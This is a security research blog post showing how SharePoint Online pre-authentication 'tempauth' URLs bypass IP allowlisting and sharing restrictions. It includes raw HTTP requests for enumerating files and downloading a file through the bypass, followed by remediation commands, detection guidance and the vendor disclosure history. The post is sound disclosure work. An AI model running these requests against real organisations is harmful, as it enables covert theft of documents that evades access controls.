Staying Sneaky in the Office (365)
-
Christian Philipov
- 3 Sep 2025
TL;DR: SharePoint has many APIs that have not been fully explored. The ones discussed in the article can allow attackers to enumerate files and covertly download documents from SharePoint using signed URLs that would allow them to bypass network or conditional access restrictions to access the content.
Many organisations make use of Microsoft 365 as a key part of their online collaboration activities both internally and externally with other organisations. As such, securing access to the various Microsoft 365 services is one of the first things they do before going live with their new tenants in order to make sure that they do not expose an excessive external attack surface that a malicious threat actor could try to compromise.
Similarly, many secure configuration baseline and hardening guides such as Cybersecurity and Infrastructure Security Agency’s (CISA’s) Secure Cloud Business Applications (SCuBA) project and Center for Internet Security’s (CIS’s) Microsoft 365 Foundations benchmark cover both Entra tenant configuration items as well as specific checks for services such as OneDrive, Exchange and SharePoint. Following a reasonable application of such baselines, administrators come out with a warm and fuzzy feeling that the environment is secure and that external data sharing has been restricted to the minimum required by the business. However, some further research into the internal operations of the services like SharePoint revealed that there exists an entire underlying API layer that offers some interesting new (or technically, old) perspectives on the service. As we’ve seen with the recent CVE-2025-53770 and CVE-2025-53771 vulnerabilities, SharePoint API abuse offered an entry point into on-premise SharePoint deployments. SharePoint Online was seemingly unaffected as Microsoft likely remediated it very quickly once they were aware of the issue. However, is that truly all there is to the SharePoint API plane or are there more things to find? Well let’s see…
Before continuing on with the SharePoint APIs, let’s set the scene a bit. Let’s say we are part of an organisation that has no external sharing expectations from SharePoint, and it will only be used to collaborate within their corporate office IP ranges and nowhere else. So naturally, this organisation has configured SharePoint sharing to ‘Only people in your organization’ as advised by CISA (MS.SHAREPOINT.1.1v1) and CIS (7.2.3 Ensure external content sharing is restricted). Let’s also assume that we are particularly keen on only allowing people on corporate networks to access SharePoint so we have also set up IP allowlisting.
This setting means that even if you satisfy Conditional Access policies to access SharePoint you must be on an approved IP address before you can visit the service regardless of your access level. Even Global Administrator users would face the following error page if they were not on an allowlisted IP address:
So, looks like we’ve done our job and now nobody can access content from our SharePoint service unless they are:
Based on the above, it seems like our job should be done now and we can focus on some other parts of our security posture.
Once you configure your SharePoint Online service, there are two main URLs that an organisation will interact with. Assuming the company domain is chrispysectesting.com
then if it’s all set up properly in Entra, SharePoint Online will have two main URLs you will interact with:
chrispysectesting.sharepoint.com
chrispysectesting-admin.sharepoint.com
The majority of day-to-day requests while using SharePoint Online will be towards the first endpoint but administrative modifications and certain changes will be done via interactions with the second one.
From an authentication perspective, these APIs do not use the same authentication Bearer tokens you’d use for something like web-based Outlook. Instead, they rely on at minimum two cookies used for authentication and authorization to allow access to the underlying APIs:
Once you’re authenticated to the underlying API, we can start enumerating resources within SharePoint sites. All we need is a site name and we can enumerate the default “Documents” library that is available in every site. You can then look at the library contents using the following HTTP REST request:
POST /sites/testing/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fsites%2Ftesting%2FShared%20Documents%27 HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie: rtFa=; FedAuth=
Content-Length: 169
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer
Collectspperfmetrics: SPSQLQueryCount
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json;odata=verbose
Content-Type: application/json;odata=verbose
Origin: https://chrispysectesting.sharepoint.com
Referer: https://chrispysectesting.sharepoint.com/sites/testing
Accept-Encoding: gzip, deflate, br
{"parameters":{"AddRequiredFields":true}}
You can search for libraries and the content within it by updating the @a1
parameter with a URL encoded path to the relevant library in a particular site. The above request assumes you’ve got only the default “Documents” library that you’re interested in however you can use any library that has been discovered in the SharePoint site with the above request. As for how to get the libraries themselves in a particular site, this could be achieved with the following API request:
POST /sites/testing/_api/SP.Web.GetDocumentLibraries?webFullUrl=%27https%3A%2F%2Fchrispysectesting%2Esharepoint%2Ecom%2Fsites%2Ftesting%27 HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie: rtFa=; FedAuth=
Content-Length: 0
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer
Collectspperfmetrics: SPSQLQueryCount
Accept-Language: en-US,en;q=0.9
X-Requestdigest: 0x300DB5A1BDC6BDEF0D783147BC4D462DAD6764C4D360EA56405E0A9A592658F04F77C3E947305DDDE8BCD39DBF2E011E07B4E519DC807AF0EEF6B84B76B5D6C0,27 Aug 2025 10:48:23 -0000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: application/json;odata=verbose
Content-Type: application/json;odata=verbose
Origin: https://chrispysectesting.sharepoint.com
Referer: https://chrispysectesting.sharepoint.com/sites/testing/Shared%20Documents/Forms/AllItems.aspx
Accept-Encoding: gzip, deflate, br
You can update the webFullUrl
parameter with the relevant site to attempt and enumerate the libraries within it. Do note that to list the libraries, you do need a valid X-Requestdigest
header before you can issue the request. However, these digests do not signify that the request body itself is signed and as such once a valid digest is generated it can be used even when the URL and body are modified.
Alternatively, an easier method that was discovered was doing the following request to the underlying site:
GET /sites/testing/SitePages/CollabHome.aspx?as=json HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie: rtFa=; FedAuth=
Accept: application/json
X-Requestprefetchdata: 1
Referer: https://chrispysectesting.sharepoint.com
Odata-Version: 4.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Mind the presence of the X-Requestprefetchdata: 1
header which when added causes the API to return _spWebPartData
in the JSON response which includes file paths to items that exist in the main document library that exists in the SharePoint site. The limitation of this approach is that it only presents data for the main document library albeit it does provide a one stop shop to collect data as a whole across SharePoint documents.
Well, we’ve now managed to enumerate a few files, but we ultimately care more about downloading files. Typically, when a user wants to download a file from SharePoint they issue the following request:
GET /sites/testing/_layouts/15/download.aspx?UniqueId=57cbd293%2Da243%2D40a7%2Dbbdd%2Da99b74acee54 HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie: rtFa=; FedAuth=
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Service-Worker-Navigation-Preload: {"supportsFeatures":[1855,61313,62475]}
Referer: https://chrispysectesting.sharepoint.com/sites/testing/Shared%20Documents/Forms/AllItems.aspx
Accept-Encoding: gzip, deflate, br
Each item in the SharePoint site has a Universally Unique Identifier (UUID) which makes it bordering on impossible to randomly stumble on valid identifiers for files that exist within a particular site. Additionally, attempts to download these files will fail unless the user has a valid rtFa
and FedAuth
session cookies that are also authorized to access that file.
However, after looking at it in a bit more detail, we discovered that an API request exists to get information about a particular file in a given SharePoint site. In this case we’ve found an interesting file called “secret.txt” that we’d be interested in discovering more about:
GET /sites/testing/Shared%20Documents/Forms/AllItems.aspx?id=%2Fsites%2Ftesting%2FShared%20Documents%2Fsecret%2Etxt&parent=%2Fsites%2Ftesting%2FShared%20Documents HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie: rtFa=; FedAuth=
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
This gives us a lot of information about the file properties, including metadata and other internal properties that depend on the SharePoint configuration. The file path needs to be updated in the id
parameter with the parent
parameter pointing to the folder where the file is located in. We do also get a few interesting properties within the response such as .downloadUrlNoAuth
. Despite the name provided in the parameter, this is actually the same download link (albeit partially Unicode encoded) that we discussed above which provides a user with the relevant URL and UUID for that file to be downloaded.
".downloadUrlNoAuth": "https:\u002f\u002fchrispysectesting.sharepoint.com\u002fsites\u002ftesting\u002f_layouts\u002f15\u002fdownload.aspx?UniqueId=57cbd293-a243-40a7-bbdd-a99b74acee54&Translate=false"
So, we can use this URL to collect a list of all download URLs we care about and then script up something to mass download them all from the context of the user we have access to. This is great but it does require us to perform a tonne of download events which will be visible in the audit logs and will likely ring some alarm bells due to how many files we’re downloading in a short period of time. Overall, still useful from an attacker’s perspective, but not the end of the world with how we’ve set up our tenant as the attacker still has to perform all the download operations from within our IP range in order to satisfy the SharePoint restriction. But, looking over the HTTP response again, we found something else right next to the .downloadUrlNoAuth
parameter that turned out to be way more interesting.
Alongside the .downloadUrlNoAuth
parameter in the response, there was another one called .downloadUrl
. As a general URL structure, it follows the same pattern as the other parameter where it provides the path and UUID as a download URL. However, it also had a few extra URL parameters that raised an eyebrow when observed for the first time.
".downloadUrl": "https:\u002f\u002fchrispysectesting.sharepoint.com\u002fsites\u002ftesting\u002f_layouts\u002f15\u002fdownload.aspx?UniqueId=57cbd293-a243-40a7-bbdd-a99b74acee54&Translate=false&tempauth=v1.eyJzaXRlaWQiOiI0OTNiMjkxZS1lY2Q3LTRkYmUtYjVhMi01YjRlOGY0MWY1ZWMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvY2hyaXNweXNlY3Rlc3Rpbmcuc2hhcmVwb2ludC5jb21AMDVmOTQ3MmQtYmI1MC00NTZmLTk0ZTctYmMwMjQ1ZWZmMzMzIiwiZXhwIjoiMTc1NjMxNjE3MyJ9.CgkKBHNuaWQSATgSCwjowrPb_tmyPhAFGgszLjExLjIzNi40MCIUbWljcm9zb2Z0LnNoYXJlcG9pbnQqLCtBL0M4L1dvUTZ4bEhjZnR1QTRkMW1lZ1NuRkFsRWh2aUwxMFQyMmlZK0E9MI4BOAFCEKG_19RC8ADQwxWKaZzdrpdKEGhhc2hlZHByb29mdG9rZW5iBHRydWVqJDAwN2UzODk5LTIyOGEtZTJiNi1mMWQ0LWQwZjI5ZjdkMmU2MHIpMGguZnxtZW1iZXJzaGlwfDEwMDMyMDAzN2Y0Mzg1MmFAbGl2ZS5jb216ATDCAT0wIy5mfG1lbWJlcnNoaXB8Y2hyaXNwYWRtaW5AY2hyaXNweXNlY3Rlc3Rpbmcub25taWNyb3NvZnQuY29tyAEB4gEWdXg1Ykc0bWxKa2lEaWFleFNPb0NBQQ.y88-qmpbJETCMGLs3NI6INnt7H44n1coMTCvB6tXVDU"
Specifically, the tempauth
URL parameter was something new and the token provided within it was a bit non-standard in comparison to the usual JSON Web Tokens (JWTs) used within Microsoft’s services.
This prompted some research into finding out what this is, which did not yield as much results as we’d have hoped. It seemed like a feature that wasn’t properly documented and not a lot of people had discussed it in the context of SharePoint itself. Luckily, Microsoft themselves had left a bit of a nugget of information in their documentation of a command in the Microsoft.Online.SharePoint.PowerShell
module. Specifically, the following three commands contained the key information we were searching for:
To quote Microsoft’s documentation:
SharePoint includes self-issued tokens in URLs called pre-authentication URLs (also known as tempauth URLs) to provide temporary access to a SharePoint resource, which helps support more rich user experiences. For example, a common scenario is downloading a file using a URL that includes a token in the `tempauth` query parameter like the following:
`https://<tenant>.sharepoint.com/sites/samplesite/_layouts/15/download.aspx?UniqueId=<id>&tempauth=v1.ey...`
So, it turns out that this tempauth
token alongside the download link acts like a signed URL, allowing anyone with the token to download the corresponding file that it was generated for. More importantly, this process seems to happen “before” authentication controls are enforced based on the naming of the feature. And so, a quick experiment was held where I tried downloading a file with appropriate access cookies but from a non-allowlisted IP address. As we established at the start, we’ve set up SharePoint restrictions to prevent access outside of our trusted corporate IP ranges. As expected, attempting to download a file using the regular download URL but with valid access cookies failed and we get redirected to the Access Denied page as seen at the start of the blog:
HTTP/2 302 Found
[REDACTED FOR BREVITY]
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="/_layouts/15/AccessDenied.aspx?p=2&type=accessremoved&correlation=51d9bfa1-60f1-d000-c315-8d81fd6dbc46">here</a>.</h2>
</body></html>
However, let’s do the same request from a non-allowlisted IP address but using the preauth
token parameter instead:
GET /sites/testing/_layouts/15/download.aspx?UniqueId=57cbd293-a243-40a7-bbdd-a99b74acee54&Translate=false&tempauth=v1.eyJzaXRlaWQiOiI0OTNiMjkxZS1lY2Q3LTRkYmUtYjVhMi01YjRlOGY0MWY1ZWMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvY2hyaXNweXNlY3Rlc3Rpbmcuc2hhcmVwb2ludC5jb21AMDVmOTQ3MmQtYmI1MC00NTZmLTk0ZTctYmMwMjQ1ZWZmMzMzIiwiZXhwIjoiMTc1NjMxNjE3MyJ9.CgkKBHNuaWQSATgSCwjowrPb_tmyPhAFGgszLjExLjIzNi40MCIUbWljcm9zb2Z0LnNoYXJlcG9pbnQqLCtBL0M4L1dvUTZ4bEhjZnR1QTRkMW1lZ1NuRkFsRWh2aUwxMFQyMmlZK0E9MI4BOAFCEKG_19RC8ADQwxWKaZzdrpdKEGhhc2hlZHByb29mdG9rZW5iBHRydWVqJDAwN2UzODk5LTIyOGEtZTJiNi1mMWQ0LWQwZjI5ZjdkMmU2MHIpMGguZnxtZW1iZXJzaGlwfDEwMDMyMDAzN2Y0Mzg1MmFAbGl2ZS5jb216ATDCAT0wIy5mfG1lbWJlcnNoaXB8Y2hyaXNwYWRtaW5AY2hyaXNweXNlY3Rlc3Rpbmcub25taWNyb3NvZnQuY29tyAEB4gEWdXg1Ykc0bWxKa2lEaWFleFNPb0NBQQ.y88-qmpbJETCMGLs3NI6INnt7H44n1coMTCvB6tXVDU HTTP/2
Host: chrispysectesting.sharepoint.com
Cookie:
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
To our surprise, this actually bypassed the SharePoint security feature and allowed us to download the file despite the request originating from a non-allowlisted IP address:
HTTP/2 200 OK
[REDACTED FOR BREVITY]
Content-Disposition: attachment;filename*=utf-8''secret%2Etxt;filename="secret.txt"
random-flag-test-test
This meant that any Microsoft tenant that had this pre-authentication feature enabled in SharePoint could allow users to circumvent these SharePoint sharing controls and allow users outside the corporate environment to download files.
Looking at the commands that were referenced earlier, we could confirm that newly created Entra tenants had this feature enabled by default and this also applied to tenants that were created several years ago. The status of the configuration can be confirmed with the following command where false
signifies that the feature is enabled in the tenant:
Get-SPOTenantPreAuthSettings | ConvertTo-Json
{
"IsDisabled": false,
"Allowlist": [...],
"DenyList": [...]
}
Luckily, resolving this is very simple by disabling the feature entirely using the following command:
Set-SPOTenantPreAuthSettings -IsDisabled $true
This prevents the generation of pre-auth tokens and subsequently any requests to the /sites/testing/Shared%20Documents/Forms/AllItems.aspx
endpoint regarding specific files will only include the regular download URL in the response that does require a user to satisfy all the SharePoint security controls before they can download a file.
Based on the minimal discussion online and the lack of a particularly useful use-case for this feature, we believe this should be easily disabled in the majority of small to large businesses without impacting existing workloads. However, as with any other change we do issue some caution to perform testing that no existing business use cases take advantage of this “feature”. We would love to hear any people that do make use of this feature, so do feel free to reach out on LinkedIn, Twitter (X) or via mail pigeons if preferred.
Unfortunately, this is a slightly challenging task for a few reasons. None of the activities listed here will be available in the MicrosoftGraphActivityLogs
as they only interact directly with the SharePoint Online APIs. As such, detections that might be looking for file enumeration activities occurring via Graph API calls to OneDrive or SharePoint Online will not generate alerts.
However, there are available logs for the download activities that were performed which would be present in the SharePoint audit logs. These can be seen in the Unified Activity Logs via Purview once set up in an organisation. A full list of available audit events can be seen here:
As mentioned before, attempting to flag excessive downloads should be feasible by establishing a threshold for a certain period of time above which an alert should be generated for a security team to review. This can focus on the FileDownloaded
event and flag accordingly. You will be able to see IP addresses that performed the activity; however, the events will still look like they are performed from the context of the user for which that signed token was generated for.
Trying to catch someone generating these preauth
tokens is tricky since the logs don’t clearly show each time a file URL would be generated using the API methods that were previous discussed. If an attacker is doing these steps manually via the web portal, then one potential event to look for is an excessive occurrence of FilePreviewed
events. However, the problem with flagging this event is that it occurs very often during regular usage of the SharePoint solution. Any user just browsing through a site for legitimate purposes will likely generate a lot of these events. As such, it is unlikely for organisations to benefit from using this for detection purposes. And instead focus should be on trying to disable the preauthentication URLs altogether if not needed.
We reached out to Microsoft Security Response Center (MSRC) in March 2025 and got a conclusion to the case in April of 2025. As far as the MSRC response, we got the following statement back as the conclusion:
“Thank you for your submission. At present, MSRC prioritizes vulnerabilities classified as Important or Critical for immediate servicing.”
“Upon investigation of this issue, MSRC has determined that it is low severity because anyone with read access to a document can find ways to export the document in some way or form. We do not consider this a security feature bypass instead we see this jumping a security guard rail.”
“We have shared your report with the team responsible for maintaining the product or service and they will consider a potential future fix, taking the appropriate action as needed to help keep customers protected”
The broader argument is understandable in the sense that any user with the ability to read a document can find ways to exfiltrate the data regardless of what controls are in place. This could be taking a picture with a phone, writing it down on a piece of paper or just memorising it. However, it is a bit odd that it was considered a low-risk issue given it does bypass several strong sharing controls which most organisations do have in place to one degree or another:
At the very least, the documentation does mention that this feature is in the process of being deprecated, although it does not specify when and in what manner. Hopefully this research helps clarify the risk available to organisations that have this enabled and helps further the argument that this feature even if not completely removed from SharePoint should at least be set up as disabled by default.
SharePoint APIs are interesting as they don’t seem to have been investigated too much and are likely to yield other interesting research when giving them a poke. We recommend that organisations do look into and restrict the usage of pre-authentication URLs in their SharePoint set up if they aren’t actively making use of it. This significantly degrades the ability of an attacker to arbitrarily exfiltrate files from SharePoint sites and would force an attacker to have to work within the confines of your own security controls in order to try and steal sensitive data.